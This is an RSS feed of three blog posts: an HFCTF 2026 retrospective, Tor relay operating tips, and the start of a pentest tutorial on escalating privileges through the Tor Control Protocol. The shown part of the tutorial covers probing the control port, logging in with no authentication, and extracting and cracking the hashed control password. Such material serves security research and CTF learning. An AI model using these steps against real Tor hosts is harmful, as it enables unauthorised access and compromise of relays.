<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by dax on Medium]]></title>
        <description><![CDATA[Stories by dax on Medium]]></description>
        <link>https://medium.com/@dax_dev?source=rss-38844d2c6700------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*qQVChnV7LJsVUoyiCZYwfg.png</url>
            <title>Stories by dax on Medium</title>
            <link>https://medium.com/@dax_dev?source=rss-38844d2c6700------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 10:00:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dax_dev/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A Look Back on HFCTF 2026 and Where Are We Headed]]></title>
            <link>https://medium.com/@dax_dev/a-look-back-on-hfctf-2026-and-where-are-we-headed-8e1ab944b083?source=rss-38844d2c6700------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e1ab944b083</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackfest]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ai]]></category>
            <dc:creator><![CDATA[dax]]></dc:creator>
            <pubDate>Mon, 16 Nov 2026 13:53:49 GMT</pubDate>
            <atom:updated>2026-11-16T13:53:49.834Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IP0k20PntBeBy7yRGdr3Sg.png" /></figure><p>Hi everyone! I’m dax, the current team lead of the <a href="https://hfctf.ca/">HFCTF</a> which is the main CTF event of the <a href="https://hackfest.ca/">Hackfest</a>, one of the biggest cybersecurity events in Canada, of which I am also a committee member. I’ve been a volunteer in the team for 11 years (slowly taking a leadership role for the past 3 years), and so I have seen this event evolve and adapt to the world in which it is set.</p><p>This year’s CTF was a weird one. Lower attendance (under 250 attendees, when a few years back we were actually considering applying for the biggest on-site CTF Guinness World Record), official change in leadership (I also led last year’s CTF and part of the one before, but my predecessor and mentor <em>PhenixCorp</em> was still on standby in case I needed him), more challenges and designers than we’ve ever had (139 challenges from more than 20 designers) and a new approach to try to give everyone an enjoyable CTF experience: different scoreboards for players using AI, and for those who don’t. This led to a lot of uncertainty in our team and forced us to take chances, some of which we weren’t sure how they would be accepted by our community.</p><p>Like every year, we send a survey to all contestants so that we can adjust our approach for the year to come. So here are the takeaways, and what we plan to do about them.</p><h4>Was splitting the scoreboard between contestants using AI agents from those who don’t a good idea?</h4><p>I would tend to say yes. We had twice as many players that signed up for the No-AI CTF compared to the AI one. Contestants in the No-AI category did not feel the obligation to use AI agents to have a competitive edge, which led to a more enjoyable experience for everyone. It does however place the load on the CTF team, since we need to act as the “AI police”. Even if we did not have to do it often this year, not every challenge designer is comfortable asking questions to potentially cheating teams, but this is a unfortunate side effect that cannot be avoided. In any case, the feedback from the contestants was very positive, and we are planning a similar approach for next year, with potential changes that will allow us to ensure that contestants are playing fair.</p><h4>Are you satisfied with the No-AI rule set?</h4><p>For the most part, yes. Most criticism we received was regarding one of those three points:</p><ul><li>Not being clear enough regarding what “giving artifacts of a challenge to any AI tooling” meant.</li><li>Not making it clear enough that the rules were applicable only to the No-AI CTF.</li><li>Having too many rules (which is arguably harder to work around).</li></ul><p>Our current stance is that the base rule set is good, and most teams enjoyed it. We will however make it clearer, and more concise.</p><h4>Should the AI CTF have different challenges?</h4><p>This one is not as simple as it seems. I had 18 designers in my team who created around 100 challenges. Creating different challenges for the AI CTF requires not only to have twice as many designers (or have them work twice as hard), but also to encourage them to use generative AI more, which I do not plan to do. Even producing variant of existing challenges brings an additional complexity that falls on volunteer designers. It is my opinion that doing so would reduce the general quality of the challenges produced.</p><p>Also, after speaking with AI teams and reading the feedback survey, opinions about the topic seem to be very divided. Some teams complained that there was not enough “AI traps”, wishing to push their agentic setup to the limit. Others were annoyed by the only two tracks that had these types of traps.</p><p>Our current takeaway is that given the divergence of opinions, we will favour unified challenges for both CTF categories so that quality doesn’t suffer, and will leave the decision to individual designers to add variations for the AI version of their challenges.</p><h4>Why the deviation from the standard Jeopardy style scoring?</h4><p>We’ve introduced two new scoring systems this year (King of the Hill and First Bloods). Before the event, many options have been proposed to deal with agentic challenge solving. One that a lot of people thought could solve the issue was to move away from the Jeopardy format, and push towards more diversity on ways to make points to make the CTF less linear (open CTFd, choose a challenge, solve it, repeat). The few deviations we tried were to “test the waters”. Turns out, most people actually prefer the classical format. King of the Hill forced teams to “allocate a team member” to this specific challenge for the whole event. First Bloods seemed unfair to some when there were so many challenges, since it will mostly depend on which challenge was seen first.</p><p>The other things that caused some friction was the lack of uniformity between the scoring systems of different challenges (some had First Bloods, some didn’t) and the fact that the value of some flags changed during the event (points were increased when there were less solves than expected for example). The former made it hard to know where to put efforts to maximize points, and the latter could cause some unexpected changes in the scoreboard (since increasing the points of a challenge also changes the value of previously submitted flags).</p><p>We had couple more ideas of novel ways to make points (black markets, HFCTF altcoin, inter-team collaboration, bug bounties, awards, etc.), but in my opinion they will all have the same effect: make the CTF experience less predictable and less dependent on pentest and cybersecurity skills. While I haven’t decided just yet if this is the way to go, my current takeaway is that most players are here for a classical CTF experience, and so your feedback might sway us in that direction. We will also try to make it more uniform between challenges, and to be careful when adjusting the value of certain challenges mid-event (as it is a way for us to bring more traction to challenges that aren’t getting enough love from the players). In any case, we plan to be more upfront about such decision during the year through announcements, so keep an eye on our Discord!</p><h4>What do you think about the CTF quality and diversity?</h4><p>On diversity, the feedback is similar each year. Why so many X, not enough Y. The truth is, this stems from a decision that the HFCTF team leads have been trying to stand by for as long as I can remember. Designers are volunteers, and I will not force them to create challenges for categories that do not interest them. While this leads to the “best possible scenario” for designers who get to spend their free time on creating quality challenges on subjects that they love, it does have the drawback of causing an imbalance in the types of tracks we offer. This year, we had more Windows related challenges than usual, and less pwn. As we do each year, we will take this feedback into consideration if some of our designers do not have a specific subject in mind, but in general, if they join the team next year, it’s because they already know what they want to work on.</p><p>On quality, AI hit us hard. Suffice it to say that while some challenges were designed without the use of generative AI, others were heavily created by it. I personally think that this takes away from the amount of effort that some designers put in their tracks, and so our guidelines will be stricter on our end next year to provide a more organic experience, as opposed to the generic imagery that AI produces. It is hard to step away from tools like these, especially when some contestants will actively use them to get the flags, but my opinion is that challenges should be designed with human players in mind, not agents.</p><h4>What did people think about the music?</h4><p>Ah the age-old HFCTF question. Truth is, feedback shows that the majority of contestants do not care. They put on their headphones either way, and hope that our music is not louder than theirs. All I can say on this one is that while it is not possible to please everyone, we will try to get a DJ for at least the opening night of the CTF next year. If you know someone that might be interested to take the job, hit me up on the Hackfest Discord! Oh and also, we’ll see that the acoustics are better next year so everyone can actually hear the announcements!</p><h4>Do you think the way you give hints is fair?</h4><p>While many challenges have paid hints in the CTFd and we drop some occasional hints in the Discord when we see tracks getting less solves than expected, we also give hints from time to time to players that show high levels of commitments towards a specific challenge and come to speak with us at the admin table (and sometimes through Discord, but taking the time to come to see us in person will play in your favour). Hackfest has always been an event centred on learning. In this spirit, while we will not give flat-out solutions, we will gently steer players in the right direction or vaguely confirm hypotheses when it is our opinion that they will not influence the outcome of the competition in a significant way and when the contestants show genuine interest in the learning experience the CTF provides.</p><p>This can be seen as unfair to some, but on the other hand not giving any hints can generate frustration that will make the general experience less enjoyable. Given the fact that some of our designers absolutely LOVE when contestants come to see them to talk about their work and that feedback shows that players like these nudges, we consider that these slight advantages are acceptable.</p><h4>Why did you choose the weekend of Halloween for the event?</h4><p>For those who were not at the closing ceremony, we absolutely did not, and were forced to move to the only remaining option which was from the 29th to the 31st. The only other option was changing venue, and with the size of the event, there was no good compromise. Next year will be one week before Halloween, if we don’t get “kicked” again.</p><h4>What did people think about the pizza?</h4><p>Might seem like an obvious question right? Free pizza is a no brainer. The biggest problem is that people don’t seem to follow the “one pizza box per table” rule, and so with 65 boxes for ~40 teams, some teams didn’t get any. My math isn’t mathing. We’ll see what we can do next year that is not a nightmare to handle for our team (like asking each table what type of pizza they want and going around giving it away ourselves), but that will give everyone a chance to have a slice. Yes we know that there are 8 slices per pizza, for teams of 6. This is not meant to be a replacement for your dinner. Just a small midnight snack to give you a bit of gas for the rest of the night.</p><h4>What did people think about not giving away cash prizes?</h4><p>Feedback shows a slight preference for it. The idea behind this was to align with our view of the CTF, which is more academic than competitive. Giving away hacking tools and goodies seemed to be more in tune with this view. We also decided to give the same prize in both CTFs (except for the NorthSec invitations that were given only to the No-AI winners, as per the decision of the NorthSec committee). We felt that this would strengthen our stance that both AI and No-AI teams are welcome to our competition and that it would encourage fair play by not having any incentive to sign up in the other category with the intention of breaking the rules.</p><h4>Why won’t you pre-provision infrastructure for the teams?</h4><p>We’ve used the challenge provisioning service for the past four years, and have improved it every year to a point where designers can effortlessly integrate with it, scaling is not an issue anymore, and stability is good enough that we pretty much do not even look at it during the event and let it do its thing. A lot of time and effort went into it (pre-ai era, so like a lot a lot, and I’m continuing to <em>trad code</em> it), and it was originally developed to solve four problems:</p><ol><li>Lowering costs</li><li>Distributing per-team access information</li><li>Taking care of post-event cleanup</li><li>Allowing team segmentation</li></ol><p>Pre-provisioning has to do of course with point #1. On average, the majority of challenges will be spawned by around 75% of the teams. Also, a good amount of teams will only spawn what they actually want to target, and some teams will also be so kind as to shut down their instances when they’re done (if that’s you, thanks!). Pair that with a library of templates that are optimized for cost, and per challenge TTLs that will automatically deprovision instances and you get a 24h CTF for under 1k USD$ in cloud computing.</p><p>That being said, while most challenges can be spawned in around five minutes, some beefier challenges can take almost an hour. Even if we advertise the average spawn time in the platform, this can be frustrating. We currently have the option to pre-spawn infrastructure (although it was never used at CTF scale), so we will look into pre-spawning challenges that are too long to spin up next year. We’ll also look into integrating the provisioning directly into CTFd so you have access to everything in one place!</p><h4>Was there too much AI in the CTF tracks?</h4><p>I would say it depends on whom you ask. For those who know me, you know that my answer would be yes. I am a strong advocate of the coding craft. This also seems to be the opinion of the people answering the survey, and it was not only regarding the CTF, but the whole Hackfest event. I find it hard to read terms like “AI slop”, “low effort”, and “cheap out” when I see all the work that goes into an event like this. But I unfortunately must agree that this year certainly had a different feel about it.</p><p>For the CTF, the problem before us is simple: if the designer team do not use AI, we will produce fewer challenges. Higher quality for sure, but less nonetheless. Contestants will use AI to solve them (either in tokenmaxxing fashion in the AI CTF, or in a more conservative way in the No-AI CTF, but AI is there in both cases) and thus will “burn” through more challenges. This gives us three options:</p><ol><li>Get more designers. We are looking for new team members this year if you’re interested! This seems like the obvious choice, just get twice as many designers and problem solved. But finding people that actually want to create challenges with limited AI usage (which means they’re going to spend a lot more of their free time on Hackfest) is pretty hard. We also have a small selection process which filters out a few potential recruits. A bigger team also costs us more. We’re all volunteers, but we still pay for hotels, food, swag, coins and a few other things. And finally, managing a team of volunteers is a job on its own. The more you have, the more time I (yes me) need to invest in weekly meetings, follow ups, and keeping people aligned and focused.</li><li>Start creating challenges earlier. I have a terrible secret. The official team kickoff for HFCTF is always in August, only three months before the CTF. Of course some designers start working on their stuff as early as December, but the actual grind starts only in August. This is a combination of the fact that we manage a second event, the iHack, in June, so our focus is mostly on that in the first half of the year, and also because we don’t want to force our volunteers to work on the CTF all year long.</li><li>Accept that some teams will finish the CTF early. Personally I would hate that to happen. People sign up for a 24h CTF, not a 16h one, no matter if they use AI or not.</li></ol><p>We haven’t decided yet what exactly we will do to address this. But what is sure is that we will not simply “do the same thing again”. I want the HFCTF to be a staple of quality in terms of CTF, and I have the privilege of working alongside very talented designers that are entirely capable of delivering such quality.</p><h4>In conclusion</h4><p>If you took the time to fill the feedback form, thank you! The HFCTF is an event that is shaped by the community, and your comments are taken very seriously for this reason. If you thought that your experience this year was not on par with what you expected, your feedback will help us adjust the formula for next year. We also know that in general, people that have more positive feedback tend not to answer surveys as much. So if you left us comments about what you loved, also thank you! And if there is a specific challenge that you particularly enjoyed, take a minute to tell it to the friendly-neighborhood challenge designer that crafted it! These comments are what keeps us going year after year. In any case, I hope that you enjoyed the CTF this year, and we hope to see you in the trenches next year!</p><p>That’s all folks, stay safe out there, and hack the planet!</p><blockquote>Also, I know you know, but this article was written without the use of generative AI.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e1ab944b083" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Trials and Tribulations of Running a Tor Relay]]></title>
            <link>https://medium.com/@dax_dev/the-trials-and-tribulations-of-running-a-tor-relay-ca9078816cf5?source=rss-38844d2c6700------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca9078816cf5</guid>
            <category><![CDATA[tor]]></category>
            <category><![CDATA[darknet]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[deep-web]]></category>
            <dc:creator><![CDATA[dax]]></dc:creator>
            <pubDate>Tue, 27 Oct 2026 00:50:40 GMT</pubDate>
            <atom:updated>2026-10-27T00:50:40.120Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9k7VZ3Mega_rAg-CGh4SRQ.png" /></figure><p>The Tor network is one of the best ways to circumvent censorship and to defend online anonymity. It uses several layers of encryption, routes traffic through relays scattered throughout the world making it hard for entities to track you, and is built with several security measures that are all there for one reason: keeping your browsing private.</p><p>All of this is somewhat common knowledge. What you might not know is that this network (comprised of <a href="https://metrics.torproject.org/networksize.html">over 11000 relays</a> at the time of writing) is run mainly by volunteers that host the nodes which make all of this possible.</p><p>I personally have been running a number of relays throughout the years, and have hit myself to many issues, problems and hiccups. The official Tor website has <a href="https://community.torproject.org/relay/">an in-depth guide</a> on how to setup your own relay and explains the general good practices to ensure uptime, stability and security of your node. If you’re interested in becoming a volunteer and want to run your own, it should be the first thing you read. When you’re done, come back here for a curated list of supplemental information that can save you time, and headaches!</p><h3>Things I Wish I Knew About Running Any Type of Relay</h3><p><strong>Use a dedicated IP if possible: </strong>I’m saying dedicated, not necessarily static. If (like me), you make the mistake of running your relay on the same public IP you are using to surf the web, you might start noticing increasing numbers of <em>CAPTCHAs</em> (sometimes unsolvable), unusable streaming services, or flat out bans from some online platforms. This is because running a relay (except bridges, for a while at least) will put your IP on the public list of known Tor relays. A lot of online services will then associate you with “bad traffic” and stop processing your requests (or make it very hard to send some). You might be able to get a few different IP addresses from your ISP if they use a protocol such as <em>PPPoE</em>, but if not, I would advise running your relay somewhere else.</p><p><strong>unattended-upgrades will restart services: </strong>Restarting your Tor service (or any service it depends on) will make you lose your Stable/Guard/HSdir flags. The main reason it would happen in my case was because of unattended-upgrades. Setting it up is a (sensible) recommendation taken directly from Tor’s relay setup guide, but it will force your relay to reboot to apply patches. On top of that, it can also force some networking services to reboot, causing your relay to crash or hang. To prevent this, you can add the list of services you don’t want rebooting in /etc/needrestart/needrestart.conf. For example, adding these lines made my relays much more stable (but be sure to keep an eye on your version using the monitoring solutions discussed later so it doesn’t get too outdated):</p><pre>qr(^systemd-networkd\.service$) =&gt; 0,<br>qr(^tor\.service$) =&gt; 0,<br>qr(^tor@.+$) =&gt; 0,<br>qr(^tor$) =&gt; 0,</pre><p><strong>Use Tor instances:</strong> The Tor binary comes with a nifty tor-instance-create<em> </em>command. This will allow you to run multiple instances of the Tor service on your system, without doing all the heavy lifting yourself. For example, it will create a system user, a separate torrc file, and will allow you to start your instances independently using systemd. I recommend having a single instance per purpose. For example, if you run both a relay and a hidden service, they should be separate instances. Don’t forget to disable the default Tor systemd service afterward if you don’t use it.</p><p><strong>Monitor your node:</strong> The log files should always be the first thing you look at to know if something is wrong. However, more often than not, there are will be no errors or warnings in the logs, and your relay still won’t be doing too great. That’s where a tool like <a href="https://nyx.torproject.org/">Nyx</a> comes in handy. It will allow you to see in detail traffic, connections, events, and a lot more. Another tool that I use is <a href="https://github.com/daxAKAhackerman/tamagonion">Tamagonion</a>, which will be less verbose than Nyx, but is more to the point, telling if something is wrong, what it is and potentially how to fix it. However, this is a shameless plug, since I made the thing. You should also add your relays to <a href="https://weather.torproject.org/">Tor-Weather</a> to get emails when your node is down or dips below a bandwidth threshold (with a caveat on bridges, see the bridge section below for details). And if you just need a quick glance at your relay status, you can always find it on <a href="https://metrics.torproject.org/rs.html#search">relay search</a>!</p><p><strong>Use socket authentication for the control protocol:</strong> Nyx and Tamagonion both use the Tor Control Protocol, which allows you to not only read, but also write stats and relay configuration. This makes it very useful, but also potentially dangerous. Unauthorized access to this port could lead to full compromise of your relay, and consequently to the anonymity of your users. At the very least, you should ensure that one of the supported authentication schemes is enabled. Have a read at <a href="https://medium.com/@dax_dev/privilege-escalation-using-the-tor-control-protocol-b90ff8ef5d62">one of my previous articles</a> for more details on that. But ideally, the port should simply not be exposed. Fortunately, Tor supports the usage of UNIX sockets, which, in conjunction with cookie authentication for example, will limit access to only system users that can both read and write the socket file and read the cookie file.</p><p><strong>Don’t forget to set your node’s family: </strong>If you are running multiple relays, you should take care of <a href="https://community.torproject.org/relay/setup/post-install/family-ids/">setting your node family accordingly</a>. This will prevent users from building circuits that use several nodes owned by you, ensuring that you cannot both see incoming and outgoing traffic for a stream.</p><p><strong>Control bandwidth usage: </strong>Running a fast relay might require more bandwidth than you think. After running my first fast relay for only a month, I had several terabytes of data that had gone through it. Therefore, you should be sure that you only allow what you can afford to give. <em>RelayBandwidthRate</em> and <em>RelayBandwidthBurst</em> can be used to configure the maximum speed of your relay. These are the ones to set if you only use your node as a relay, but if you are also using it as a client (to use the Tor network yourself), you could instead set <em>BandwidthRate</em> and <em>BandwidthBurst</em>, which apply to both relayed traffic, and yours. Personally, I do not allow burst, and instead set a very generous rate, but you’re the master of your own destiny. <em>AccountingMax</em>, <em>AccountingRule</em> and <em>AccountingStart</em> can be used to limit the amount of data you allow in a certain amount of time (for example, a maximum of 1tb per month). In any case, you should have a look at the <a href="https://community.torproject.org/relay/relays-requirements/">official relay requirements</a> and take them into account.</p><p><strong>Use hardware acceleration if possible: </strong>If your CPU supports hardware acceleration for cryptographic operations, adding <em>HardwareAccel 1</em> to your torrc could greatly increase your relay’s performance. To know if you do support it, you can check your CPU with cat /proc/cpuinfo | grep aes<em> </em>to see if the aes flag is present and lsmod | grep -i aes<em> </em>to see if the aesni module is loaded. Then, if you have a recent version of OpenSSL and Tor, you should enable hardware acceleration.</p><p><strong>Harden your configuration with <em>NoExec</em>: </strong>A little bit of a niche one, but this configuration will prevent Tor from launching another executable. This cannot be used for bridges since transport plugins will need to do exactly that, but in all other cases, you should enable it. This will prevent a potential privilege escalation, which I discussed <a href="https://medium.com/@dax_dev/privilege-escalation-using-the-tor-control-protocol-b90ff8ef5d62">in a previous article</a>.</p><p><strong>Disable the SOCKS port if you don’t need it: </strong>The default torrc file will expose port 9050 on localhost to use the Tor network yourself (and will enable the Tor service by default). If you don’t intend to use it, you can set the port value to 0 to disable it.</p><p><strong>If you have a cheap router, expect crashes: </strong>The official Tor documentation states:</p><blockquote>A non-exit relay should be able to handle at least 7000 concurrent connections. This can overwhelm consumer-level routers.</blockquote><p>This happened to me using a consumer-grade TP-Link router. Every two days or so, the router would crash and reboot under the load of the thousands of connections being constantly established and closed. If you plan to run a relay on your home network, you might have to buy a router that can actually handle it. In my case, the solution was to use the PPPoE passthrough feature on my ISP fibre router to bypass my TP-Link router completely.</p><p><strong>Beware of dynamic public IP addresses:</strong> Other nodes will need to know your address to connect to you. Your address is set in your server descriptors that are sent to the directory authorities, which then vote every hour on the state of the network to put in the consensus. If you are running your relay on your home network using a dynamic IP address that can change from time to time, expect one or two hours of relay down time when that happens. There’s not much you can do about it, so just know that it is “normal behaviour”. That will unfortunately cost you your Stable/Guard/HSDir flags.</p><p><strong>Relays and VPN might not easily mix:</strong> This one might only be a “me” problem, but since I spent a good amount of time debugging it, I thought I’d mention it. Using a VPN on the same host that is running your relay can have some unforeseen consequences (I’m looking at you, MTU). This can lead to some very hard to debug network issues, such as some authorities not being able to contact your relay, while other can without issue. I’ve found that when this happens, Tor is not super verbose about it. Most likely, you will simply see no circuits being made, or very low numbers of connections (10–20). Just know that intermittent issues are rarely related to the Tor service itself, and most likely related to your network in some way.</p><h3>Things I Wish I Knew About Running an Entry or Guard Relay</h3><p><strong>Check the authority votes to know how to get your flags: </strong>Want to know exactly how much time it takes to get the Stable flag? Or how much bandwidth is needed for the Fast flag? Check the Flag Threshold section on the <a href="https://consensus-health.torproject.org/">consensus health page</a>. Each directory authority will report the values it sets to decide if it gives you a flag or not. If the majority of authorities gives you a flag, then it gets in the consensus. WFU means weighted fractional uptime, MTBF means mean time between failures and TK is weighted time known.</p><h3>Things I Wish I Knew About Running a Middle-Only Relay</h3><p><strong>It is possible (but undesirable) to never become a guard: </strong>When you get the Guard flag, people can start using your relay as an entry point to the Tor network. This means that, as the relay operator, you know who is initiating connection to Tor, but you don’t know where they are going. You get this flag by running your relay for long enough, having enough bandwidth and sufficient uptime (for more details, check the previous section). While fast guard relays are <a href="https://support.torproject.org/relays/getting-started/what-type-of-relays-are-most-needed/">some of the most needed types of nodes</a>, there could be reasons why you wouldn’t want to host one. This could be legal reasons, bandwidth limitations, or simply wanting to experiment a bit with running a relay before committing to be an entry node. If this is your case, the simplest way to do this is to keep your advertised bandwidth below the flag threshold set in the authority votes (once again, for more details, check the previous section).</p><h3>Things I Wish I Knew About Running a Bridge Relay</h3><p><strong>Running on widely used port can increase the usefulness of your bridge: </strong>Remember that the primary usage of bridges is to circumvent censorship. Most likely, common ORPorts such as 9001 will not be allowed to go through restrictive firewalls. For this reason, you should be running your ORPort and OBSF4 listener on common ports, such as 443 and 80. This is already mentioned in the <a href="https://community.torproject.org/relay/setup/bridge/debian-ubuntu/">official bridge setup guide</a>, but I thought I’d double down on it here.</p><p><strong>Bridges and families do not mix: </strong>So this is somewhat less true now, but still worth explaining. Originally, setting up relay families would require you to add the fingerprint of other family members using the <em>MyFamily</em> directive in your torrc. The Tor man page explicitly says that this should not be used for bridges. The reason is simple: family members are disclosed publicly. If your non-bridge relay lists your bridge as family member, <a href="https://archives.seul.org/tor/talk/Nov-2011/msg00209.html">somebody could use the leaked fingerprint to lookup the bridge IP from the bridge authority</a>, making you bridge way less useful. The reason why this is not really the case anymore is that <em>MyFamily</em> is being replaced with the Happy Families protocol. This replaces the need to list other relay fingerprints by a certificate instead, allowing authorities to group relays based on this certificate value. However, it seems that, as of time of writing, <a href="https://forum.torproject.org/t/tor-relays-family-id-for-bridges/22115/2">bridges do not advertise family certificates anyway</a>.</p><p><strong>Do not pay too much attention to stats in relay search:</strong> I’ve noticed my bridge relay going down on relay search very often, especially within the first few weeks of setting it up. This was super annoying, since I had configured email alerts on <a href="https://weather.torproject.org/">Tor-Weather</a>. More often than not, these were false positives and the relay would show as healthy again an hour or two later, without any loss of uptime. <a href="https://forum.torproject.org/t/bridge-wrong-state-in-relay-search/20945">This seems to be a common issue with bridges</a>, where the published status is not all too accurate. For this reason, I would recommend setting the alert threshold for your bridges to something higher than the default of one hour (two or three hours should reduce the noise to an acceptable level).</p><h3>Things I Wish I Knew About Running a Snowflake Relay</h3><p><strong>You can run a snowflake relay in multiple ways: </strong>I’ve always known that you could run a snowflake relay using a browser extension, but turns out you can run it in two other ways. First, you can host a JavaScript snippet on a website that you own so that visitors can decide to toggle the Snowflake switch to make the browser tab act as a relay, as long as it stays open. Note that this is not very usable on mobile, as my tests have shown that switching tab, backgrounding the browser or locking the screen will prevent Snowflake from working (on GrapheneOS with Firefox at least). <a href="https://hackerman.ca/">Here’s an example of it</a>. Then, you can also run the snowflake relay as a regular daemon, just like you would the normal Tor binary. If you want to help the network, but do not have many resources to spare, this could be the simplest way to do so. Just install snowflake-proxy, start it with systemd and let it do its thing! In any case, everything is very well documented <a href="https://snowflake.torproject.org/">here</a>.</p><h3>Things I Wish I Knew About Running an Exit Relay</h3><p><strong>Be ready to fight legal battles: </strong>When Tor users pass through your exit node, it will be your IP that actually makes the request for them. This means that if they’re doing something shady, you might be associated with it. Depending on where you live, this can have strong legal implications, and could actually be illegal. You should read the <a href="https://community.torproject.org/relay/community-resources/">community and legal resources page</a> carefully before deciding to run an exit relay.</p><p><strong>Use a trusted DNS resolver: </strong>As an exit relay, you are the one resolving DNS queries for clear net requests (people accessing the normal Web through Tor) of users passing through your relay. Knowing this, you should probably not trust automatically assigned ISP DNS servers to do the resolving for you. This article is not about DNS security, but if you are running an exit relay, you should definitely read on things like DNSSEC, DNS over HTTPS, DNS over TLS, logging policies and headquarters location, and configure your node accordingly. This is discussed on the <a href="https://community.torproject.org/relay/setup/exit/">exit relay technical setup page</a>.</p><p><strong>Use good OpSec when managing your relay: </strong>Even if running an exit relay isn’t breaking any laws in the country where you live, I would advise caution when managing your relay. Do not run it on your home network if you do not want the men in black knocking on your door. Ideally, you should be running your relay on a Monero or cash paid VPS, and you should be using Tor to connect to it. If you’re extra paranoid, you can even do all your relay management using anonymity focused operating systems such as TAILS, Whonix, or Qubes OS. That way, it should be fairly safe to assume that it will not be traced back to you.</p><h3>Conclusion</h3><p>In this article, we went over the things that I wish I knew when I started my relay operator journey. If you are a relay operator yourself, thanks for fighting for online privacy and anonymity, and hopefully you learned a thing or two that could save you some time and headaches. If you are still wondering if you should be running a relay, maybe it helped you better understand what awaits you. In any case, I hope you at least found it informative! I might come back from time to time to add supplemental information if I find anything interesting to add. If that happens, I’ll add a change log section.</p><p>That’s all folks, stay safe out there, and hack the planet!</p><blockquote>This article was written without the use of generative AI. Everything that you just read was fact checked and researched using the Tor documentation, source code and forum interactions with Tor developers or relay operators, as well as my own experimentation and experiences. If you think that’s cool, leave a clap and share the article!</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca9078816cf5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Privilege escalation using the Tor Control Protocol]]></title>
            <link>https://medium.com/@dax_dev/privilege-escalation-using-the-tor-control-protocol-b90ff8ef5d62?source=rss-38844d2c6700------2</link>
            <guid isPermaLink="false">https://medium.com/p/b90ff8ef5d62</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[tor]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[dax]]></dc:creator>
            <pubDate>Sat, 26 Oct 2024 11:52:55 GMT</pubDate>
            <atom:updated>2025-04-13T12:02:17.753Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8036OyZp0he8GGY93gh_4Q.png" /></figure><h3>Privilege Escalation Using the Tor Control Protocol</h3><p>The <a href="https://spec.torproject.org/control-spec/index.html">Tor Control Protocol</a> is used to communicate with a running Tor process. To interact with it, one simply needs to connect to the port using any TCP client such as <em>Telnet </em>or <em>NetCat</em>. It can then be used to send the process various commands to execute many actions, ranging from getting information about the relay operations, the state of the network or the configuration, to building circuits, adding server descriptors and even modify the configuration. In this article that is intended for security researchers, pentesters and CTF players, I will present a privilege escalation vector that uses this protocol allowing us to execute arbitrary code with the privileges of the user running the Tor process. It’s hacking time!</p><h3>Protocol identification</h3><p>The Tor Control Protocol doesn’t have a designated port number (although I often see port 9051) and only listens on localhost by default. This means that it is pretty unlikely that you will simply see that port opened in the wild, and will instead most likely see it on the host, once you get an initial foothold. It is up to the user to enable it, choose a port and decide on the authentication requirements. Running an <em>NMap </em>scan against it should show something like 9051/tcp open tor-control Tor control port (Authentication required). Once identified, the first thing to validate is which authentication scheme is required. You can do so by sending the PROTOCOLINFO command to the TCP port.</p><pre>PROTOCOLINFO<br>250-PROTOCOLINFO 1<br>250-AUTH METHODS=NULL<br>250-VERSION Tor=&quot;0.4.8.12&quot;<br>250 OK</pre><h3>Authentication</h3><p>The protocol support 4 authentication schemes. The first one is NULL, which means you don’t have to worry about authentication. Just type AUTHENTICATE and you’re in.</p><pre>AUTHENTICATE<br>250 OK</pre><p>The second one is HASHEDPASSWORD. If you see this, you have two options. Either you try to eavesdrop on the connection using <em>MitM </em>to capture the password since the protocol is in clear text, or you get the hash from the configuration and try to crack it. To find the hash, first find the location of the torrc file that was used to start the process. It can often be found in /etc/tor/torrc but it doesn’t have to be there (you can try listing the running processes using ps to get the configuration file location specified with the -f option of the tor command). Once you found it, find the line that starts with HashedControlPassword. What follows is the hash, and should look a bit like 16:46CAB5E3FA5F7BF4606D132C27DA06F77B574F7C14B9D75657A74F59FB.</p><p>This hash is generated using the process detailed in <em>RFC2440 </em>(OpenPGP Message Format), under the <em>Iterated and Salted S2K</em> section. It is basically a SHA-1 generated from multiple iteration using a salt.</p><p>Normally, when I find hashes I simply whip out my trusty <a href="https://hashcat.net/hashcat/">hashcat</a> and let it go wild, but this specific format does not seem to be supported. I tried a few other tools and failed to find one that was able to generate a matching hash. I then decided to reverse engineer the Tor binary password validation code and came up with <a href="https://github.com/daxAKAhackerman/tor-hashed-control-password-brute">https://github.com/daxAKAhackerman/tor-hashed-control-password-brute</a>. ̶I̶t̶ ̶i̶s̶ ̶n̶o̶t̶ ̶t̶h̶e̶ ̶m̶o̶s̶t̶ ̶e̶f̶f̶i̶c̶i̶e̶n̶t̶ 